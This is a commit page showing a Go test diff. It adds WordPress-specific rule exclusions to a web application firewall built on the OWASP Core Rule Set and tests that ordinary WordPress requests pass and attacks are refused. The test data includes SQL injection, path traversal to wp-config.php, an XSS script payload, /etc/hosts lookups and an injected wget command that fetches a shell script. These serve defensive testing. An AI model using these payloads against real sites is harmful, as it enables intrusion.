Core Rule Set: WordPress's ordinary requests pass by default (closes #235)
check / check (push) Successful in 4m42s
check / check (push) Successful in 4m42s
Add the ninth change: wordpress.conf switches off, per path and field, each rule that refused ordinary WordPress 7.1.4 requests. Three groups of fields skip four rules on system files and commands, and only the addresses of the first group also skip 932235. Add the recorded requests, a test at the defaults and reading bodies, and list WordPress in the README. Model: opus-5-5 (rework); sonnet-5-5 (copied the recorded lines)
This commit is contained in:
1 parent
719691d1e8
commit
c48393574c
6 files changed
+1215
-21
No files matched your search
@@ -1,6 +1,7 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
@@ -8,6 +9,7 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
@@ -123,9 +125,9 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
return newCoreRuleSet(t, 1, defaultDisabledRules...)
|
||||
}
|
||||
|
||||
// wantChange checks that crs lets through passes, a gitea request one of
|
||||
// the eight changes is for, and still finds result in refused, a request
|
||||
// like it that the change is not for.
|
||||
// wantChange checks that crs lets through passes, a request one of the
|
||||
// nine changes is for, and still finds result in refused, a request like
|
||||
// it that the change is not for.
|
||||
func wantChange(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||
result coreruleset.Result,
|
||||
@@ -555,6 +557,485 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// wpLogin is WordPress's sign-in path.
|
||||
const wpLogin = "/wp-login.php"
|
||||
|
||||
// recordedRequest is a line of a file of recorded requests in testdata.
|
||||
type recordedRequest struct {
|
||||
Method string `json:"method"`
|
||||
Target string `json:"target"`
|
||||
Headers []string `json:"headers"`
|
||||
Body string `json:"body"`
|
||||
}
|
||||
|
||||
// wordpressRequests returns the recorded ordinary WordPress requests in
|
||||
// testdata, each with its body.
|
||||
func wordpressRequests(t *testing.T) []recordedRequest {
|
||||
t.Helper()
|
||||
|
||||
text, err := os.ReadFile(filepath.Join("testdata", "wordpress-requests.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []recordedRequest
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
if strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
var r recordedRequest
|
||||
|
||||
err := json.Unmarshal([]byte(line), &r)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", line, err)
|
||||
}
|
||||
|
||||
requests = append(requests, r)
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
|
||||
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
crs, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
}
|
||||
|
||||
return crs
|
||||
}
|
||||
|
||||
// wordpressAttackTargets returns attack in a query parameter no exclusion
|
||||
// names, and in each field whose searches and names skip some rules there.
|
||||
func wordpressAttackTargets(attack string) []string {
|
||||
return []string{
|
||||
"/?id=" + attack,
|
||||
wpLogin + "?id=" + attack,
|
||||
"/wp-admin/admin-ajax.php?id=" + attack,
|
||||
"/wp-json/wp/v2/posts?id=" + attack,
|
||||
"/?s=" + attack,
|
||||
"/index.php?s=" + attack,
|
||||
"/page/2/?s=" + attack,
|
||||
"/index.php/page/2/?s=" + attack,
|
||||
"/wp-admin/edit.php?s=" + attack,
|
||||
"/wp-admin/upload.php?s=" + attack,
|
||||
"/wp-admin/plugin-install.php?s=" + attack,
|
||||
"/wp-admin/edit-comments.php?s=" + attack,
|
||||
"/wp-admin/users.php?s=" + attack,
|
||||
"/wp-admin/plugins.php?s=" + attack,
|
||||
"/wp-admin/edit-tags.php?s=" + attack,
|
||||
"/wp-json/wp/v2/search?search=" + attack,
|
||||
"/wp-json/wp/v2/posts?search=" + attack,
|
||||
"/wp-json/wp/v2/tags?search=" + attack,
|
||||
"/?rest_route=/wp/v2/search&search=" + attack,
|
||||
"/wp-json/wp/v2/posts?slug=" + attack,
|
||||
"/wp-json/wp/v2/tags?slug=" + attack,
|
||||
"/?rest_route=/wp/v2/posts&slug=" + attack,
|
||||
"/wp-json/wp/v2/block-directory/search?term=" + attack,
|
||||
"/wp-admin/themes.php?search=" + attack,
|
||||
"/wp-admin/theme-install.php?search=" + attack,
|
||||
"/wp-admin/upload.php?search=" + attack,
|
||||
"/wp-admin/admin-ajax.php?q=" + attack,
|
||||
"/wp-admin/admin-ajax.php?term=" + attack,
|
||||
"/wp-admin/edit.php?_wp_http_referer=" + attack,
|
||||
"/wp-admin/upload.php?_wp_http_referer=" + attack,
|
||||
"/?tag=" + attack,
|
||||
"/index.php?tag=" + attack,
|
||||
"/wp-admin/edit.php?tag=" + attack,
|
||||
"/wp-admin/edit.php?category_name=" + attack,
|
||||
"/wp-admin/plugin-editor.php?file=" + attack,
|
||||
"/wp-admin/theme-editor.php?file=" + attack,
|
||||
"/wp-admin/plugin-editor.php?plugin=" + attack,
|
||||
"/wp-admin/plugins.php?plugin=" + attack,
|
||||
"/wp-admin/update.php?plugin=" + attack,
|
||||
}
|
||||
}
|
||||
|
||||
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||
|
||||
for _, recorded := range wordpressRequests(t) {
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
crsSets := []*coreruleset.CoreRuleSet{defaults}
|
||||
if recorded.Body != "" {
|
||||
crsSets = append(crsSets, bodies)
|
||||
}
|
||||
|
||||
for _, crs := range crsSets {
|
||||
got, _ := inspectBody(t, crs, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
"1'%20OR%20'1'='1",
|
||||
"..%2F..%2Fwp-config.php",
|
||||
"%3Cscript%3Ealert(1)%3C%2Fscript%3E",
|
||||
} {
|
||||
for _, target := range wordpressAttackTargets(attack) {
|
||||
if got := inspect(t, defaults, get(target)); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// In a body field no exclusion names, on the paths with exclusions.
|
||||
body := "id=" + attack
|
||||
for _, target := range []string{
|
||||
wpLogin,
|
||||
"/wp-comments-post.php",
|
||||
"/wp-admin/admin-ajax.php",
|
||||
"/wp-admin/post.php",
|
||||
"/wp-admin/options.php",
|
||||
} {
|
||||
got, _ := inspectBody(t, bodies,
|
||||
request{http.MethodPost, target, []string{formData}}, body)
|
||||
if got.Score < threshold {
|
||||
t.Errorf("POST %s %q let through: %+v", target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// wordpressBlock is the comment that starts every block of WordPress's
|
||||
// HTML, which rule 941180 matches.
|
||||
const wordpressBlock = "<!-- wp:paragraph -->"
|
||||
|
||||
// wordpressOverride is the header with which the block editor saves.
|
||||
const wordpressOverride = "X-HTTP-Method-Override: PUT"
|
||||
|
||||
// wordpressRESTAddresses returns the four addresses of route on the REST
|
||||
// API.
|
||||
func wordpressRESTAddresses(route string) []string {
|
||||
return []string{
|
||||
"/wp-json" + route,
|
||||
"/index.php/wp-json" + route,
|
||||
"/index.php?rest_route=" + route,
|
||||
"/?rest_route=" + route,
|
||||
}
|
||||
}
|
||||
|
||||
func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodiesUpTo64K(t)
|
||||
content := `{"content":"` + wordpressBlock + `"}`
|
||||
|
||||
for _, route := range []string{
|
||||
"/wp/v2/posts/1",
|
||||
"/wp/v2/posts/1/autosaves",
|
||||
"/wp/v2/pages/2",
|
||||
"/wp/v2/templates/twentytwentyfive//index",
|
||||
"/wp/v2/template-parts/twentytwentyfive//header",
|
||||
} {
|
||||
for _, address := range wordpressRESTAddresses(route) {
|
||||
r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
|
||||
wantBody(t, crs, r, content, coreruleset.Result{}, content)
|
||||
}
|
||||
}
|
||||
|
||||
// The routes that save something else keep the rules.
|
||||
for _, route := range []string{
|
||||
"/wp/v2/comments", "/wp/v2/users/1", "/wp/v2/settings",
|
||||
} {
|
||||
for _, address := range wordpressRESTAddresses(route) {
|
||||
r := request{http.MethodPost, address, []string{jsonBody}}
|
||||
wantBody(t, crs, r, content, matched(941180), content)
|
||||
}
|
||||
}
|
||||
|
||||
// WordPress follows a route in the query over one in the path.
|
||||
r := request{
|
||||
http.MethodPost, "/wp-json/wp/v2/posts/1?rest_route=/wp/v2/comments",
|
||||
[]string{jsonBody},
|
||||
}
|
||||
wantBody(t, crs, r, content, matched(941180), content)
|
||||
}
|
||||
|
||||
func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
wantChange(t, crs, get("/?s=python3"), get("/wp-admin/options.php?id=python3"),
|
||||
matched(932260))
|
||||
wantChange(t, crs, get("/?s=python3"), get("/?q=python3"), matched(932260))
|
||||
wantChange(t, crs, get("/index.php?s=ls+-la"), get("/index.php?q=ls+-la"),
|
||||
matched(932250))
|
||||
wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"),
|
||||
get("/wp-json/example/v1/things?search=powershell"), matched(932120))
|
||||
wantChange(t, crs, get("/index.php?rest_route=/wp/v2/search&search=powershell"),
|
||||
get("/index.php?rest_route=/example/v1/things&search=powershell"), matched(932120))
|
||||
wantChange(t, crs,
|
||||
get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"),
|
||||
get("/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php"), matched(930120))
|
||||
wantChange(t, crs, get("/wp-admin/theme-editor.php?file=docker-compose.yml"),
|
||||
get("/wp-admin/theme-editor.php?id=docker-compose.yml"), matched(932260))
|
||||
}
|
||||
|
||||
// TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three
|
||||
// groups in wordpress.conf at one target of its group, against the same
|
||||
// values in a field no group names, then one field at each other target of
|
||||
// the group.
|
||||
func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A page's address, repeating the search it came from. Rules 932235
|
||||
// and 932260 match it, and only the fields that hold an address skip
|
||||
// 932235.
|
||||
const pageAddress = "%2Fwp-admin%2Fedit.php%3Fs%3Dpython3"
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
values := []struct {
|
||||
value string
|
||||
rule int
|
||||
}{
|
||||
{".htaccess", 930120},
|
||||
{"powershell", 932120},
|
||||
{"ls+-la", 932250},
|
||||
{"python3", 932260},
|
||||
}
|
||||
|
||||
for _, group := range []struct {
|
||||
target string
|
||||
fields []string
|
||||
addressFields []string
|
||||
}{
|
||||
{
|
||||
"/wp-admin/options.php?",
|
||||
[]string{
|
||||
"s", "search", "q", "term", "tag", "category_name", "plugin",
|
||||
"checked%5B%5D", "theme", "stylesheet",
|
||||
},
|
||||
[]string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"},
|
||||
},
|
||||
{"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil},
|
||||
{"/?", []string{"s", "tag"}, nil},
|
||||
} {
|
||||
wantResult(t, crs, get(group.target+"id="+pageAddress), matched(932235, 932260))
|
||||
|
||||
for _, field := range group.fields {
|
||||
wantResult(t, crs, get(group.target+field+"="+pageAddress), matched(932235))
|
||||
}
|
||||
|
||||
for _, field := range group.addressFields {
|
||||
wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{})
|
||||
}
|
||||
|
||||
for _, v := range values {
|
||||
wantResult(t, crs, get(group.target+"id="+v.value), matched(v.rule))
|
||||
|
||||
for _, field := range slices.Concat(group.fields, group.addressFields) {
|
||||
wantResult(t, crs, get(group.target+field+"="+v.value), coreruleset.Result{})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, target := range []string{
|
||||
"/wp-admin/term.php?s=python3",
|
||||
wpLogin + "?s=python3",
|
||||
"/index.php/wp-json/wp/v2/tags?slug=python3",
|
||||
"/index.php?rest_route=/wp/v2/tags&slug=python3",
|
||||
"/?rest_route=/wp/v2/tags&slug=python3",
|
||||
"/wp-json/oembed/1.0/embed?url=python3",
|
||||
"/?rest_route=/oembed/1.0/embed&url=python3",
|
||||
"/index.php?tag=python3",
|
||||
"/page/2/?tag=python3",
|
||||
"/index.php/page/2/?s=python3",
|
||||
} {
|
||||
wantResult(t, crs, get(target), coreruleset.Result{})
|
||||
}
|
||||
}
|
||||
|
||||
func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, target := range []string{
|
||||
"/?s=",
|
||||
"/page/2/?s=",
|
||||
"/wp-admin/edit.php?s=",
|
||||
"/wp-json/wp/v2/search?search=",
|
||||
"/wp-admin/themes.php?search=",
|
||||
"/wp-json/wp/v2/posts?slug=",
|
||||
"/?rest_route=/wp/v2/posts&slug=",
|
||||
"/wp-json/wp/v2/tags?url=",
|
||||
"/wp-json/oembed/1.0/embed?url=",
|
||||
"/?tag=",
|
||||
"/wp-admin/edit.php?tag=",
|
||||
"/wp-admin/admin-ajax.php?q=",
|
||||
} {
|
||||
wantResult(t, crs, get(target+command), matched(932235))
|
||||
}
|
||||
}
|
||||
|
||||
// TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule
|
||||
// on one of its paths against the same value where no exclusion applies.
|
||||
func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const elsewhere = "/example/things"
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, tt := range []struct {
|
||||
target string
|
||||
rule int
|
||||
}{
|
||||
{"/page/2/?s=python3", 932260},
|
||||
{"/page/2/?s=ls+-la", 932250},
|
||||
{"/page/2/?s=powershell", 932120},
|
||||
{"/index.php/page/2/?s=python3", 932260},
|
||||
{"/?s=.htaccess", 930120},
|
||||
{"/?s=wp-config.php", 930120},
|
||||
{"/?s=.bashrc", 930120},
|
||||
{"/page/2/?s=.htaccess", 930120},
|
||||
{"/wp-admin/edit-comments.php?s=powershell", 932120},
|
||||
{"/wp-admin/users.php?s=ls+-la", 932250},
|
||||
{"/wp-admin/plugins.php?s=python3", 932260},
|
||||
{"/wp-admin/edit-tags.php?s=python3", 932260},
|
||||
{"/wp-admin/themes.php?search=powershell", 932120},
|
||||
{"/wp-admin/theme-install.php?search=ls+-la", 932250},
|
||||
{"/wp-admin/upload.php?search=python3", 932260},
|
||||
{"/wp-admin/admin-ajax.php?q=powershell", 932120},
|
||||
{"/wp-admin/admin-ajax.php?q=ls+-la", 932250},
|
||||
{"/wp-admin/admin-ajax.php?q=python3", 932260},
|
||||
{"/wp-admin/admin-ajax.php?term=powershell", 932120},
|
||||
{"/wp-admin/admin-ajax.php?term=ls+-la", 932250},
|
||||
{"/wp-admin/admin-ajax.php?term=python3", 932260},
|
||||
{"/wp-admin/edit.php?_wp_http_referer=.htaccess", 930120},
|
||||
{"/wp-admin/edit.php?_wp_http_referer=powershell", 932120},
|
||||
{"/wp-admin/upload.php?_wp_http_referer=ls+-la", 932250},
|
||||
{"/wp-admin/users.php?_wp_http_referer=python3", 932260},
|
||||
{"/wp-admin/upload.php?_wp_http_referer=%2Fupload.php%3Fmode%3Dlist%26ps", 932340},
|
||||
{"/?tag=python3", 932260},
|
||||
{"/index.php?tag=powershell", 932120},
|
||||
{"/wp-admin/edit.php?tag=ls+-la", 932250},
|
||||
{"/wp-admin/edit.php?category_name=python3", 932260},
|
||||
{"/wp-admin/edit.php?category_name=powershell", 932120},
|
||||
{"/wp-admin/edit.php?category_name=ls+-la", 932250},
|
||||
{"/wp-admin/plugin-editor.php?file=install-script.sh", 932120},
|
||||
{"/wp-admin/theme-editor.php?file=document.write.js", 941180},
|
||||
{"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260},
|
||||
{"/wp-admin/plugins.php?plugin=powershell-tools", 932120},
|
||||
{"/wp-admin/update.php?plugin=docker-helper", 932260},
|
||||
} {
|
||||
_, query, _ := strings.Cut(tt.target, "?")
|
||||
wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule))
|
||||
}
|
||||
}
|
||||
|
||||
// TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term and the
|
||||
// header X-HTTP-Method-Override at the REST API's addresses.
|
||||
func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
// Any route of WordPress's own API, at each address.
|
||||
for _, route := range []string{
|
||||
"/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media",
|
||||
"/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns",
|
||||
} {
|
||||
wantChange(t, crs, get("/wp-json"+route+"?search=python3"),
|
||||
get("/wp-json/example/v1/things?search=python3"), matched(932260))
|
||||
wantChange(t, crs, get("/index.php?rest_route="+route+"&search=python3"),
|
||||
get("/index.php?rest_route=/example/v1/things&search=python3"), matched(932260))
|
||||
wantChange(t, crs, get("/?rest_route="+route+"&search=.htaccess"),
|
||||
get("/?rest_route=/example/v1/things&search=.htaccess"), matched(930120))
|
||||
}
|
||||
|
||||
const directory = "/wp-json/wp/v2/block-directory/search"
|
||||
|
||||
wantChange(t, crs, get(directory+"?term=python3"),
|
||||
get("/wp-json/example/v1/things?term=python3"), matched(932260))
|
||||
wantChange(t, crs, get(directory+"?term=powershell"),
|
||||
get("/wp-json/example/v1/things?term=powershell"), matched(932120))
|
||||
wantChange(t, crs, get(directory+"?term=ls+-la"),
|
||||
get("/wp-json/example/v1/things?term=ls+-la"), matched(932250))
|
||||
|
||||
// The header X-HTTP-Method-Override at the address on the site root,
|
||||
// and off the REST API.
|
||||
headers := []string{jsonBody, "Content-Length: 2", wordpressOverride}
|
||||
wantChange(t, crs,
|
||||
request{http.MethodPost, "/?rest_route=/wp/v2/posts/1", headers},
|
||||
request{http.MethodPost, "/?p=1", headers}, matched(920450))
|
||||
}
|
||||
|
||||
func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120))
|
||||
wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120))
|
||||
wantResult(t, crs, get("/wp-admin/admin-ajax.php?content=ls+-la"), matched(932250))
|
||||
wantResult(t, crs, get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"),
|
||||
matched(941100, 941160))
|
||||
wantResult(t, crs,
|
||||
get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)),
|
||||
matched(941180))
|
||||
}
|
||||
|
||||
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
save = "/wp-json/wp/v2/posts/1"
|
||||
offREST = "/api/posts/1"
|
||||
length = "Content-Length: 2"
|
||||
)
|
||||
|
||||
crs := readingBodiesUpTo64K(t)
|
||||
saving := request{http.MethodPost, save, []string{jsonBody, wordpressOverride}}
|
||||
|
||||
content := `{"content":"` + wordpressBlock + `"}`
|
||||
wantBody(t, crs, saving, content, coreruleset.Result{}, content)
|
||||
|
||||
// The other fields of the post keep the rule, and so does the same field
|
||||
// off the REST API.
|
||||
title := `{"title":"` + wordpressBlock + `"}`
|
||||
wantBody(t, crs, saving, title, matched(941180), title)
|
||||
wantBody(t, crs, request{http.MethodPost, offREST, []string{jsonBody}}, content,
|
||||
matched(941180), content)
|
||||
|
||||
// The header X-HTTP-Method-Override is refused off the REST API.
|
||||
defaults := atDefaults(t)
|
||||
wantResult(t, defaults,
|
||||
request{http.MethodPost, save, []string{jsonBody, length, wordpressOverride}},
|
||||
coreruleset.Result{})
|
||||
wantResult(t, defaults,
|
||||
request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}},
|
||||
matched(920450))
|
||||
|
||||
// Signing in: pwd alone skips the list of system files.
|
||||
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
||||
|
||||
body := "log=a&pwd=b%20%2Fetc%2Fhosts"
|
||||
wantBody(t, crs, signIn, body, coreruleset.Result{}, body)
|
||||
|
||||
body = "log=b%20%2Fetc%2Fhosts&pwd=a"
|
||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||
}
|
||||
|
||||
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
|
||||
const bodyLimit = 8 << 10
|
||||
|
||||
|
||||
Reference in new issue
Block a user